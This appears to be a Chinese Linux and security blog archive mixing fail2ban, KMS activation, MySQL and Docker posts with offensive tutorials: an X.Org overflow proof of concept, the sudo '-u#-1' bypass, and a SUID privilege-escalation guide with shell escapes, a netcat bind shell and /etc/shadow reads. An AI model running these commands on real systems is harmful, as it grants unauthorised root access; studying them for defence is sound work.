CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC 渗透测试
0x1 简单介绍:
X Server 是绝大对数Linux发行版和Unix系统的基础图形界面程序,是系统标配。而此程序也是以Root权限启动的,因而成功溢出它而获得的shell,也是root权限。
0x2 漏洞相关信息:
# 时间: 2019-10-16 # 作者: Marcelo Vázquez (s4vitar) # 厂商: https://www.x.org/ # 版本: <= 1.20.4 # 测试平台: Linux # CVE: CVE-2019-17624
0x3 POC
#!/usr/bin/python #coding: utf-8 # ************************************************************************ # * Author: Marcelo Vázquez (aka s4vitar) * # * X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow) * # ************************************************************************ import sys, time import ctypes as ct from ctypes import cast from ctypes.util import find_library def access_violation(x11, current_display): keyboard = (ct.c_char * 1000)() x11.XQueryKeymap(current_display, keyboard) if __name__ == '__main__': print "\n[*] Loading x11...\n" time.sleep(2) x11 = ct.cdll.LoadLibrary(find_library("X11")) current_display = x11.XOpenDisplay(None) print "[*] Exploiting...\n" time.sleep(1) try: access_violation(x11, current_display) except: print "\nError...\n" sys.exit(1)
Linux Sudo 被曝漏洞,可导致用户以 root 权限运行命令 业界新闻
Linux 用户要注意了!几乎所有基于 UNIX 和 Linux 的操作系统上安装的核心命令,也是最重要、最强大也最常用的工具 Sudo中被曝存在一个漏洞。
漏洞详情
myhost alice = (ALL) /usr/bin/id
sudo -u#1234 id -u
sudo -u#-1 id -u
sudo -u#4294967295 id -u
myhost bob = (ALL, !root) /usr/bin/vi
myhost alice = /usr/bin/id
影响版本
修复方案
宝塔(bt.cn)面板开启域名登录并且使用域名证书,解决浏览器信任证书问题 Linux
PS:最近因为工作原因,很忙,没时间写博客,各位读者,当你们每次打开都没有更新的时候,给你们说一声抱歉。
Onekey-Open-BT-panel-ssl-with-domain
宝塔(bt.cn)面板开启域名登录并且使用域名证书,解决浏览器信任证书问题,强迫症福音@_@
- 注意 :
目前使用此shell需要你在宝塔后台面板里面建一个需要绑定到面板的域名网站,最好申请Let's SSL证书,当然,shell也支持自定义证书路径。 只测试了建立网站后的,没有测试过不用建立网站,直接解析域名到服务器(这种未来会支持的,使用 acme.sh 来申请SSL证书或者是自定义证书都可以)
shellcheck
推荐一个可以检查shell语法的网站,超级好用.也可以安装到自己的机器上:使用方法:
- 直接wget到本地执行就可以根据提示操作了:
wget https://raw.githubusercontent.com/Mr-xn/Onekey-Open-BT-panel-ssl-with-domain/master/Onekey-Open-BT-panel-ssl-with-domain.sh && bash Onekey-Open-BT-panel-ssl-with-domain.sh
- ToDo
- 支持自定义证书
- 不需要宝塔后台添加域名
- 添加宝塔常用命令:重置面板密码、重置封禁IP列表、更改端口等等
利用fail2ban来阻断一些恶意扫描和暴力破解---保护你的VPS 技术文章
UPdate:使用效果很明显,就这么几天扫描快9W次,ban了八百多IP
简单介绍一下:
如果把vps的iptables比作是一把枪,那么fail2ban就是除了你之外的另一个忠心的手下,他可以拿着枪来枪毙或管理那些非法的探视,将他们拒之门外,将一些危险扼杀在萌芽阶段。但是,他也仅仅是个手下,不是超人,可况超人也不是万能的!所以也不要以为有了它就可以高枕无忧了,这就好比一个人在厉害,也不可能打过一群人。fail2ban可以防御一定范围的CC、暴力破解登录或者是恶意扫描等等。
安装:
推荐使用这个一键脚本(lnmp.org作者写的):
wget https://raw.githubusercontent.com/licess/lnmp/master/tools/fail2ban.sh && ./fail2ban.sh
第二种方法就是自己手动去fail2ban的GitHub下载解压安装,地址:
https://github.com/fail2ban/fail2ban
最后一种就是直接通过包安装,但是可能不是最新的:
Debian/Ubuntu:apt install fail2ban
centos:yum install fail2ban
安装完来配置使其监控我们的nginx、apache或其他服务的日志,从日志中提取我们需要屏蔽的一些恶意请求,比如大量的404---通过扫描器扫描产生,ssh暴力破解,v2ray的暴力尝试爆破ID等等。
如果是通过第一种,使用一键脚本安装的话,我们只需要修改 /etc/fail2ban/jail.local 这个文件然后在 /etc/fail2ban/filter.d/中添加自己的规则文件即可。
比如我的在/etc/fail2ban/jail.local 中追加如下内容,下面使用cat命令直接追加:
cat >>/etc/fail2ban/jail.local<<EOF
[sshd]
enabled = true
port = ssh
filter = sshd
action = iptables[name=SSH, port=ssh, protocol=tcp]
#mail-whois[name=SSH, [email protected]]
logpath = /var/log/auth.log
maxretry = 5
bantime = 604800
[deny-badcrawl]
enabled = true
port = http,https
filter = deny-badcrawl
action = iptables[name=Http, port=80, protocol=tcp]
action = iptables[name=Https, port=443, protocol=tcp]
logpath = /home/wwwlogs/*.log
maxretry = 4
findtime = 3600
bantime = 3600
[nginx-limit-req]
enabled = true
port = http,https
logpath = /usr/local/nginx/conf/nginx.conf
action = iptables[name=Http, port=80, protocol=tcp]
action = iptables[name=Https, port=443, protocol=tcp]
maxretry = 4
findtime = 600
bantime = 600
EOF
请注意SSH的port,如果你自己修改过端口号,那么请把port替换成你自己修改的端口号。nginx-limit-req需要你在你的nginx配置文件中配置了才能生效的。
因为nginx-limit-req新版本的fail2ban已经有了,具体的可以在 /etc/fail2ban/filter.d 目录下面查看。
好了,然后我们在 /etc/fail2ban/filter.d 目录下新建一个deny-badcrawl.conf:
touch deny-badcrawl.conf
然后将如下内容写进去(我依旧是使用的cat命令,你可以根据自己喜好,比如nano,vi等):
cat >>/etc/fail2ban/filter.d/deny-badcrawl.conf<<EOF
[Definition]
failregex = <HOST> -.*- .*HTTP/*.* 404 .*$
ignoreregex =
EOF
然后重启fail2ban即可:service fail2ban restart
然后查看状态:fail2ban-client status
查看某个规则的具体状态:fail2ban-client status deny-badcrawl
像我这里使用了几个小时后就封了好几个IP:
注意:一般修改配置文件后,我们只需要重新载入即可,不需要重启fail2ban:
fail2ban-client reload nginx-limit-req 如果不生效,就强制重新加载service fail2ban force-reload nginx-limit-req
OK
具体的fail2ban用法和详细参数设置这些,早有前辈写过很多,不过最好是去官网看英文原版。
一键搭建kms激活服务端&&Windows客户端一键激活脚本 Linux
update:06/10/2019 :
脚本加入开机自启动,完善逻辑,添加两种零售版转vol版本工具。shell是从vlmcsd仓库拉取编译,你安装的时候就是最新的,不要再问了。
shell在centos6/7 ubuntu 16 测试没问题,有问题的留言。
更新提示:如果一键脚本不能激活的系统,请手动激活。GVLK密钥可以去微软这里查看最新的。
写这个就是因为这个清明小长假帮朋友重做系统...-_-||( ╯□╰ ),是的你没有看错,Jiu是做系统!
感觉学过计算机就是修电脑,做系统,组装台式机,/喷血。做完系统他说,你帮忙把office也装好吧...当然,是去MSDN-I-tell-you下载的VL版本的系统。需要激活,又不想用网上那些奇怪的软件,就只能自己动手了,就有了下面这个脚本。干净,利落!这个脚本可以激活VL版本的Windows系统和office绝大多数版本。无毒无污染,国家认证,Mrxn良心出品!好吧,下面剩下的知道的就不用看了,直接到底部去GitHub下载到你的小鸡鸡开始享用吧。
一定要注意:如果你的小鸡鸡有类似vultr,谷歌云,套路云这些带防火墙的,你需要在防火墙策略里面添加允许放行1688端口的TCP流量,不然你激活会失败的。
kms-server-deploy
一键搭建kms激活服务端和Windows客户端一键激活脚本
再此特别感谢KMS服务器程序的开发者Wind4
https://github.com/Wind4/vlmcsd
vlmcsd Github主页:脚本的使用方法:
在你的服务器上,执行如下命令即可:
wget https://raw.githubusercontent.com/Mr-xn/kms-server-deploy/master/kms-server-deploy.sh && bash kms-server-deploy.sh
不会的,请看下面的我的截图操作就知道了
Linux服务端安装卸载
安装
卸载
Windows上激活
解压缩) mrxn_net_kms.cmd 附件下载:
下载(下载后右键-以管理员身份运行
激活中...
成功激活
手动激活教程如下:
以windows 10 专业版(Professional)为例,打开powershell(管理员)直接输入下列命令
slmgr.vbs -upk
slmgr.vbs -ipk W269N-WFGWX-YVC9B-4J6C9-T83GX #注意!!不同系统版本这里的激活码不一样,请往下翻寻找表格!
slmgr.vbs -skms kms.mrxn.net
slmgr.vbs -ato
slmgr.vbs -dlv
注意!不同的系统,这一步中输入的密钥不相同!!!
附表:
各操作系统KMS激活方式所对应的激活码
Windows 10
操作系统版本 | KMS客户端设置密钥 |
Windows 10 专业版 | W269N-WFGWX-YVC9B-4J6C9-T83GX |
Windows 10 专业N版 | MH37W-N47XK-V7XM9-C7227-GCQG9 |
Windows 10 企业版 | NPPR9-FWDCX-D2C8J-H872K-2YT43 |
Windows 10 企业N版 | DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4 |
Windows 10 教育(家庭)版 | NW6C2-QMPVW-D7KKK-3GKT6-VCFB2 |
Windows 10 教育(家庭)N版 | 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ |
Windows 10 企业版2015 LTSB | WNMTR-4C88C-JK8YV-HQ7T2-76DF9 |
Windows 10 企业版 2015 LTSB N | 2F77B-TNFGY-69QQF-B8YKP-D69TJ |
Windows 10 企业版 2016 LTSB | DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ |
Windows 10 企业版 2016 LTSB N | QFFDN-GRT3P-VKWWX-X7T3R-8B639 |
Windows Server 2012和Windows 8
操作系统版本 | KMS客户端设置密钥 |
Windows 8专业版 | NG4HW-VH26C-733KW-K6F98-J8CK4 |
Windows 8 Professional N | XCVCF-2NXM9-723PB-MHCB7-2RYQQ |
Windows 8企业版 | 32JNW-9KQ84-P47T8-D8GGY-CWCK7 |
Windows 8企业N | JMNMF-RHW7P-DMY6X-RF3DR-X2BQT |
Windows Server 2012 | BN3D2-R7TKB-3YPBD-8DRP2-27GG4 |
Windows Server 2012 N | 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY |
Windows Server 2012单一语言 | 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ |
Windows Server 2012具体国家 | 4K36P-JN4VD-GDC6V-KDT89-DYFKP |
Windows Server 2012服务器标准 | XC9B7-NBPP2-83J2H-RHMBY-92BT4 |
Windows Server 2012 MultiPoint Standard | HM7DN-YVMH3-46JC3-XYTG7-CYQJJ |
Windows Server 2012 MultiPoint Premium | XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G |
Windows Server 2012数据中心 | 48HP8-DN98B-MYWDG-T2DCC-8W83P |
Windows 7和Windows Server 2008 R2
操作系统版本 | KMS客户端设置密钥 |
Windows 7专业版 | FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4 |
Windows 7专业版 | MRPKT-YTG23-K7D7T-X2JMM-QY7MG |
Windows 7 Professional E | W82YF-2Q76Y-63HXB-FGJG9-GF7QX |
Windows 7企业版 | 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH |
Windows 7企业N | YDRBP-3D83W-TY26F-D46B2-XCKRJ |
Windows 7企业E | C29WB-22CC8-VJ326-GHFJW-H9DH4 |
Windows Server 2008 R2 Web | 6TPJF-RBVHG-WBW2R-86QPH-6RTM4 |
Windows Server 2008 R2 HPC版 | TT8MH-CG224-D3D7Q-498W2-9QCTX |
Windows Server 2008 R2 Standard | YC6KT-GKW9T-YTKYR-T4X34,R7VHC |
Windows Server 2008 R2企业版 | 489J6-VHDMP-X63PK-3K798-CPX3Y |
Windows Server 2008 R2数据中心 | 74YFP-3QFB3-KQT8W-PMXWJ-7M648 |
Windows Server 2008 R2(用于基于Itanium的系统) | GT63C-RJFQ3-4GMB6-BRFB9-CB83V |
Windows Vista和Windows Server 2008
操作系统版本 | KMS客户端设置密钥 |
Windows Vista Business | YFKBB-PQJJV-G996G-VWGXY-2V3X8 |
Windows Vista Business N | HMBQG-8H2RH-C77VX-27R82-VMQBT |
Windows Vista企业版 | VKK3X-68KWM-X2YGT-QR4M6-4BWMV |
Windows Vista企业N | VTC42-BM838-43QHV-84HX6-XJXKV |
Windows Web Server 2008 | WYR28-R7TFJ-3X2YQ-YCY4H-M249D |
Windows Server 2008 Standard | TM24T-X9RMF-VWXK6-X8JC9-BFGM2 |
没有Hyper-V的Windows Server 2008 Standard | W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ |
Windows Server 2008企业版 | YQGMW-MPWTJ-34KDK-48M3W-X4Q6V |
没有Hyper-V的Windows Server 2008 Enterprise | 39BXF-X8Q23-P2WWT-38T2F-G3FPG |
Windows Server 2008 HPC | RCTX3-KWVHP-BR6TB-RB6DM-6X7HP |
Windows Server 2008数据中心 | 7M67G-PC374-GR742-YH8V4-TCBY3 |
没有Hyper-V的Windows Server 2008数据中心 | 22XQ2-VRXRG-P8D42-K34TD-G3QQC |
Windows Server 2008(用于基于Itanium的系统) | 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK |
Windows Server 2016
操作系统版本 | KMS客户端设置密钥 |
Windows Server 2016数据中心 | CB7KF-BWN84-R7R2Y-793K2-8XDDG |
Windows Server 2016标准 | WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY |
Windows Server 2016 Essentials | JCKRF-N37P4-C2D82-9YXRT-4M63B |
手动代码激活OFFICE
首先你的OFFICE必须是VOL版本,否则无法激活。
找到你的office安装目录,比如C:\Program Files (x86)\Microsoft Office\Office16
64位的就是C:\Program Files\Microsoft Office\Office16
office16是office2016,office15就是2013,office14就是2010.
然后目录对的话,该目录下面应该有个OSPP.VBS。
接下来我们就cd到这个目录下面,例如:
cd "C:\Program Files (x86)\Microsoft Office\Office16"
然后执行注册kms服务器地址:
cscript ospp.vbs /sethst:kms.mrxn.net
/sethst参数就是指定kms服务器地址。
一般ospp.vbs可以拖进去cmd窗口,所以也可以这么弄:
cscript "C:\Program Files (x86)\Microsoft Office\Office16\OSPP.VBS" /sethst:kms.mrxn.net
一般来说,“一句命令已经完成了”,但一般office不会马上连接kms服务器进行激活,所以我们额外补充一条手动激活命令:
cscript ospp.vbs /act
如果提示看到successful的字样,那么就是激活成功了,重新打开office就好。
激活失败的原因可能有哪些?
1、你的系统/OFFICE是否是批量VL版本
2、是否以管理员权限运行CMD
3、你的系统/OFFICE是否修改过KEY/未安装GVLK KEY
4、检查你的网络连接
5、本地的解析不对,或网络问题(点击检查服务器是否能连上)
6、根据出错代码自己搜索出错原因
7、0x80070005错误一般是你没用管理员权限运行CMD
GitHub地址:https://github.com/Mr-xn/kms-server-deploy 欢迎start,提issues,Pull!
系统中X1-lock进程Xorg占用CPU爆表通过shell脚本解决以及shell一些知识【笔记】 Linux
首先看一下这张CPU的近一周的波动统计图,可以知道从2月28日开始一路飙升,并且后来时不时的自动停止,这个起伏真的是 因吹丝挺啊!(小声嘀咕:QNMLGB!
我那两天忙,没时间看,这几天空了上去一看傻眼了。。。CPU爆表啊,.X1-lock占用CPU98% ,在Top命令下 C查看进程一看是Xorg,我擦,难道中马了(一种不祥的预感,事实是的-_-|| >悲伤<):
我就想起了前段时间折腾nextcloud,装了各种插件,而其中ocdownloader需要aria2c,我就去Google搜索啊,结果我也忘了借鉴了谁的,估计装到了个假的aria2c,于是乎就中马了。。。
好吧,删除了aria2c以及nextcloud,终止那个wget 进程 并删掉残留//瞬间清静了。。。但是,我后来发现了,这个木马其实占用的CPU并不高(并不一定 =_= 无奈自己太菜不知道如何确定 )<< 从上图得出的结果。
后来Google搜索啊,询问了大佬以及网友的记录,大致如下:
Xorg这个进程多半是是由 vncserver 产生的,所以由此可以推定因为 VNC 服务导致了 CPU 占用超高。连接 VNC 需要请求 GUI 资源,如果机器配置和网络条件不够好,那么资源占用高是必然的了。如果无法升级硬件配置,那么可以考虑调整 VNC 设置,将所需的 GUI 要求降低,如减少分辨率、颜色位深等。
但是我在自己的服务器上找了半天,都没有找到神马vncserver,于是乎,只能自己先写个脚本监控它(因为这个进程的名字不变,如果进程的名字会改变,稍微修改一下我的脚本也可以使用的),如果一出现就直接FUCK kill它。脚本结果运行截图如下:
注:脚本可以写进crontab 定时执行,监控,暂时就这么个暴力解决的办法。脚本地址:https://github.com/Mr-xn/server-bash-script/blob/master/freecpu.sh
后来找了好久,终于找到方法了。。。卸载所有X11相关的包以及Xorg的包,然后查找系统里面的X11相关路径文件和文件夹,全部删除掉。。。OK了!几个小时都没有再出现 .X1-lock 被杀的记录了。卸载相关参考命令我会给出链接,至于查找嘛,很简单,whereis X11 ,apt-get --purge remove 'x11-*'
root@xxxx:~# whereis X11
X11: /usr/bin/X11 /usr/lib/X11 /etc/X11 /usr/include/X11 /usr/share/X11root@xxxx:~# rm -rf /usr/bin/X11 /usr/lib/X11 /etc/X11 /usr/include/X11 /usr/share/X11
终止掉 .X1-lock 进程在进行这些删除操作就好了。
root@xxxx:~# find / -name 'xorg'
/usr/share/X11/xkb/rules/xorg
root@xxxx:~# ls -lgth /usr/share/X11/xkb/rules/xorg
lrwxrwxrwx 1 root 4 Jun 6 2014 /usr/share/X11/xkb/rules/xorg -> base
至于这个xorg 的内容我贴在这里了,你们有看的,可以去查看:https://pastebin.com/WCxn3Bux
删完后 你继续查找 如果像下面这个就表示删干净了。
root@xxxx:~# whereis xorg
xorg:
root@xxxx:~# whereis X11
X11:
root@xxxx:~#
相关参考链接:
https://www.howtoinstall.co/en/debian/jessie/x11-common?action=remove
https://www.wikihow.com/Configure-X11-in-Linux
https://raspberrypi.stackexchange.com/questions/5258/how-can-i-remove-the-gui-from-raspbian-debian (这个里面比较详细)
下面是写shell 的一些笔记,生人勿看。
linux shell中 if else以及大于、小于、等于逻辑表达式介绍:
比如比较字符串、判断文件是否存在及是否可读等,通常用"[]"来表示条件测试。
注意:这里的空格很重要。要确保方括号的空格。我就曾因为空格缺少或位置不对,而浪费好多宝贵的时间。
if ....; then
....
elif ....; then
....
else
....
fi
[ -f "somefile" ] :判断是否是一个文件
[ -x "/bin/ls" ] :判断/bin/ls是否存在并有可执行权限
[ -n "$var" ] :判断$var变量是否有值
[ "$a" = "$b" ] :判断$a和$b是否相等
-r file 用户可读为真
-w file 用户可写为真
-x file 用户可执行为真
-f file 文件为正规文件为真
-d file 文件为目录为真
-c file 文件为字符特殊文件为真
-b file 文件为块特殊文件为真
-s file 文件大小非0时为真
-t file 当文件描述符(默认为1)指定的设备为终端时为真
含条件选择的shell脚本 对于不含变量的任务简单shell脚本一般能胜任。但在执行一些决策任务时,就需要包含if/then的条件判断了。shell脚本编程支持此类运算,包括比较运算、判断文件是否存在等。
基本的if条件命令选项有:
eq —比较两个参数是否相等(例如,if [ 2 –eq 5 ])
-ne —比较两个参数是否不相等
-lt —参数1是否小于参数2
-le —参数1是否小于等于参数2
-gt —参数1是否大于参数2
-ge —参数1是否大于等于参数2
-f — 检查某文件是否存在(例如,if [ -f "filename" ])
-d — 检查目录是否存在
几乎所有的判断都可以用这些比较运算符实现。脚本中常用-f命令选项在执行某一文件之前检查它是否存在。
shell 的 if 条件判断中有多个条件:
-------------------------------------------------------
#!/bin/bash
score=$1
if [ $score = 5 ]||[ $score = 3 ];then
echo right
else
echo wrong
fi
-------------------------------------------------------
#!/bin/bash
score=$1
if [ $score -gt 5 ]||[ $score -lt 3 ];then
echo right
else
echo wrong
fi
-------------------------------------------------------
#!/bin/bash
score=$1
if [ $score -gt 15 ]||([ $score -lt 8 ]&&[ $score -ne 5 ]);then
echo right
else
echo wrong
fi
-------------------------------------------------------
或:
#!/bin/bash
count="$1"
if [ $count -gt 15 -o $count -lt 5 ];then
fi
且:
#!/bin/bash
count="$1"
if [ $count -gt 5 -a $count -lt 15 ];then
fi
-------------------------------------------------------
score=$1
if [[ $score -gt 15 || $score -lt 8 && $score -ne 5 ]];then
echo right
else
echo wrong
fi
记住必须加两个中括号!!!
linux shell脚本 截取字符串时执行错误:bad substitution :
#/bin/bash
mm="www.baidu.com"
echo ${mm:0:3}
方式1、sh cutstr.sh
结果:Bad substitution
方式2、bash cutstr.sh
结果:www
方式3、
chmod 777 cutstr.sh
./cutstr.sh
结果:www
结论:
在执行脚本时要注意的是执行环境的shell,Ubuntu 中执行最好使用上面的方式二或者方式三,注意使用方式一时有时会报错。
<span style="color:#FF0000;"><strong>#!/bin/sh</strong></span>
test=asdfghjkl
echo ${test:1}
emlog,连接数据库失败,请检查数据库信息,错误编号 2002 技术文章
今天起来发现博客打不开了,提示:连接数据库失败,请检查数据库信息,错误编号 2002。
首先看这个错误代码是2002,并不是emlog的配置文件有问题,因为从include/lib/mysql.php里面可以看到这个2002应该是MySQL本身出问题了,但是不一定,下面来排查是不是MySQL本身出问题了。
/**
* 内部实例对象
* @var object MySql
*/
private static $instance = null;
private function __construct() {
if (!function_exists('mysql_connect')) {
emMsg('服务器空间PHP不支持MySql数据库');
}
if (!$this->conn = @mysql_connect(DB_HOST, DB_USER, DB_PASSWD)) {
switch ($this->geterrno()) {
case 2005:
emMsg("连接数据库失败,数据库地址错误或者数据库服务器不可用");
break;
case 2003:
emMsg("连接数据库失败,数据库端口错误");
break;
case 2006:
emMsg("连接数据库失败,数据库服务器不可用");
break;
case 1045:
emMsg("连接数据库失败,数据库用户名或密码错误");
break;
default :
emMsg("连接数据库失败,请检查数据库信息。错误编号:" . $this->geterrno());
break;
}
}
if ($this->getMysqlVersion() > '4.1') {
mysql_query("SET NAMES 'utf8'");
}
@mysql_select_db(DB_NAME, $this->conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
}
登上服务器,准备登录mysql,mysql -uroot -ppassword,报错如下:
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)
然后查看MySQL状态:
root@mrxn:/# service mysqld status
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/init.d/mysqld)
Active: active (exited) since Sun 2017-12-24 10:55:03 CST; 5min ago
Process: 536 ExecStart=/etc/init.d/mysqld start (code=exited, status=0/SUCCESS)
Dec 24 10:55:03 mrxn.guest mysqld[536]: Starting MySQL
Dec 24 10:55:03 mrxn.guest mysqld[536]: Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed!
Dec 24 10:55:03 mrxn.guest systemd[1]: Started LSB: start and stop MySQL.
注意看红色的部分,Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed! 现在可以进一步确定是MySQL本身出问题了。
问题原因就这与MySQL本身没有启动起来。我们先停止MySQL试试:service mysqld stop ,然后查看状态:
root@mrxn:/# service mysqld status
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/init.d/mysqld)
Active: inactive (dead) since Sun 2017-12-24 11:01:09 CST; 1s ago
Process: 1809 ExecStop=/etc/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 536 ExecStart=/etc/init.d/mysqld start (code=exited, status=0/SUCCESS)
Dec 24 10:55:03 mrxn.guest mysqld[536]: Starting MySQL
Dec 24 10:55:03 mrxn.guest mysqld[536]: Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed!
Dec 24 10:55:03 mrxn.guest systemd[1]: Started LSB: start and stop MySQL.
Dec 24 11:01:09 mrxn.guest systemd[1]: Stopping LSB: start and stop MySQL...
Dec 24 11:01:09 mrxn.guest mysqld[1809]: MySQL server PID file could not be found! ... failed!
Dec 24 11:01:09 mrxn.guest systemd[1]: Stopped LSB: start and stop MySQL.
然后Google搜索上面的红色关键词:Couldn't find MySQL server (/usr/bin/mysqld_safe) ... failed! ,借鉴这个的方法 http://www.cnblogs.com/olinux/p/5546371.html
查看MySQL的my.cnf 在那些位置存在:
root@mrxn:/# mysqld --verbose --help|grep my.cnf
2017-12-24 11:02:32 0 [Warning] Using unique option prefix key_buffer instead of key_buffer_size is deprecated and will be removed in a future release. Please use the full name instead.
2017-12-24 11:02:32 0 [Note] --secure-file-priv is set to NULL. Operations related to importing and exporting data are disabled
2017-12-24 11:02:32 0 [Note] mysqld (mysqld 5.6.37-log) starting as process 1867 ...
2017-12-24 11:02:32 1867 [ERROR] Can't find messagefile '/usr/share/mysql/errmsg.sys'
2017-12-24 11:02:32 1867 [Warning] Can't create test file /var/lib/mysql/mrxn.lower-test
2017-12-24 11:02:32 1867 [Warning] Can't create test file /var/lib/mysql/mrxn.lower-test
mysqld: Can't change dir to '/var/lib/mysql/' (Errcode: 2 - No such file or directory)
2017-12-24 11:02:32 1867 [Warning] Using unique option prefix myisam-recover instead of myisam-recover-options is deprecated and will be removed in a future release. Please use the full name instead.
2017-12-24 11:02:32 1867 [Note] Plugin 'FEDERATED' is disabled.
mysqld: Unknown error 1146
2017-12-24 11:02:32 1867 [ERROR] Can't open the mysql.plugin table. Please run mysql_upgrade to create it.
/etc/my.cnf /etc/mysql/my.cnf /usr/local/mysql/etc/my.cnf ~/.my.cnf
my.cnf, $MYSQL_TCP_PORT, /etc/services, built-in default
2017-12-24 11:02:32 1867 [Note] Binlog end
2017-12-24 11:02:32 1867 [Note] Shutting down plugin 'CSV'
2017-12-24 11:02:32 1867 [Note] Shutting down plugin 'MyISAM'
注意看红色的标注部分,没有那个文件或者路径。用ls -l /var/lib/ 查看下面确实没有mysql文件夹。
那么就新建一个mysql文件夹,并且设置好权限给mysql使用:
mkdir /var/lib/mysql/
chown -R mysql:mysql /var/lib/mysql/
然后删除多余的那个my.cnf :rm /etc/mysql/my.cnf
然后重启MySQL:service mysqld restart ,并且查看MySQL的状态:
root@mrxn:/# service mysqld restart
root@mrxn:/# service mysqld status
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/init.d/mysqld)
Active: active (running) since Sun 2017-12-24 11:09:00 CST; 5s ago
Process: 2121 ExecStop=/etc/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 2138 ExecStart=/etc/init.d/mysqld start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
├─2153 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/data/mysql --pid-file=/data/mysql/mysql.pid
└─2992 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/data/mysql --plugin-dir=/usr/local/mysql/l...
Dec 24 11:08:59 mrxn.guest systemd[1]: Starting LSB: start and stop MySQL...
Dec 24 11:08:59 mrxn.guest mysqld[2138]: Starting MySQL
Dec 24 11:09:00 mrxn.guest mysqld[2138]: ..
Dec 24 11:09:00 mrxn.guest systemd[1]: Started LSB: start and stop MySQL.
就OK了!
然后根据这个错误我发现了是有人在疯狂的扫描我的博客。。。醉了。。。但是我也不知道为嘛MySQL就抽风了,估计是死锁后我去重启,然后它就抽风了-_-|
Linux下利用SUID提权 渗透测试
今天给大家带来的是linux下的提权技巧。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:
Nmap
Vim
find
Bash
More
Less
Nano
cp
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm
-4000
-
2
>/dev/null
find / -perm -u=s -type f
2
>/dev/null
find / -user root -perm
-4000
-exec ls -ldb {} \;
ls -l /usr/bin/nmap
-rwsr-xr-x
1
root root
780676
2008
-04
-08
10:
04
/usr/bin/nmap
NMAP
较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
nmap -V
交互模式可以通过执行Nmap参数" interactive ":
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。
exploit/unix/local/setuid_nmap
Find
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
touch pentestlab
find pentestlab -exec whoami \;
大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
连接上去就会直接获取到一个Root权限的shell。
netcat
192.168
.
1.189
5555
id
cat /etc/shadow
VIM
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny /etc/shadow
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
Bash
以下命令将以root权限打开一个bash shell。
bash -p
bash
-3.2
# id
uid=
1002
(service) gid=
1002
(service) euid=
0
(root) groups=
1002
(service)
Less
Less和More都执行以用来提权。
less /etc/passwd
!/bin/sh
PS:文章来源于 杂术馆 .好文共赏!如对原创造成影响,深表歉意!
Kali一键安装docker脚本 Linux
Kali不介绍,docker简单的介绍一下:如何通俗解释docker是什么 我的理解用一句话来说就是:在你的系统里面装一个盒子,盒子里你可以干任何事!另外,在gitbook上也有专门的专题介绍,想详细的了解的可以去看一下:
https://yeasy.gitbooks.io/docker_practice/content/
本文主要介绍在Kali下如何一键安装,给懒人看的-_- .
Kali是属于Debian的一个分支基于Debian Wheezy 因此安装方法借助docker官方的Debian安装文档,但是官方的安装方法在Kali上会失败...
所以呢,我就自己Google啊,找到了好几个版本,我结合自己的实际操作和理解,搞了一个综合性的脚本.
下面就是脚本的全部代码:
#!/bin/bash
#=================================================
# Description: Install docker for Kali
# Version: 0.0.1
# Author: Mrxn
# Blog: https://mrxn.net/Linux/install_docker_script_for_Kali.html
# PS: 欢迎大家到github提建议和bug
#=================================================
# install dependencies
sudo apt-get install apt-transport-https ca-certificates curl gnupg software-properties-common dirmngr# use https get sources
sudo echo "deb https://http.kali.org/kali kali-rolling main non-free contrib" > /etc/apt/sources.list
sudo echo "deb-src https://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update# remove previously installed Docker
sudo apt-get purge lxc-docker*
sudo apt-get purge docker.io*
# add Docker repo gpg key
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -# add deb docker sources
sudo echo "deb [arch=amd64] https://download.docker.com/linux/debian stretch stable" >> /etc/apt/sources.listcat > /etc/apt/sources.list.d/docker.list <<'EOF'
deb https://apt.dockerproject.org/repo debian-stretch main
EOF
sudo apt-get update# install Docker
sudo apt-get install docker-ce# run Hellow World image
sudo docker run hello-world# manage Docker as a non-root user
sudo groupadd docker
